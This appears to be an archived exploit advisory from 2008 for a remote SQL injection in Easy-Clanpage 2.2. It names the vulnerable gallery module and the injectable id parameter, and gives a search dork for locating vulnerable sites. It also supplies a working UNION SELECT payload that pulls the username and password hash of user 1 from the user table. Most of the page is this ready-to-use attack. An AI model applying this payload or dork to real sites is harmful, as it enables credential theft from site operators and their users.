[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Easy-Clanpage 2.2 (id) Remote SQL Injection Vulnerability
# Published : 2008-03-18
# Author : n3w7u
# Previous Title : KAPhotoservice (album.asp) Remote SQL Injection Exploit
# Next Title : Exero CMS 1.0.1 (theme) Multiple Local File Inclusion Vulnerabilities 


.-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-.

 ~ Easy-Clanpage v2.2 (gallery) Remote SQL Injection Vulnerability ~

.-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-.

[+] Author: n3w7u

[+] Mail: n3w7u@gmx.net

[+] Source: http://easy-clanpage.de/?section=downloads&show=viewdownload&id=14

[+] Dork: "Easy-Clanpage v2.2"

.-=--=--=--=--=--=--=--=--=--=--=-.

[+] Vuln File: /modules/gallery/index.php

[+] Exploit: http://[host]/[path]/?section=gallery&action=kate&id=

[+] Example -1/**/union/**/select/**/1,2,concat(username,0x3a,password),4,5,6,7/**/from/**/ecp_user/**/where/**/userid=1/*

# www.Syue.com [2008-03-18]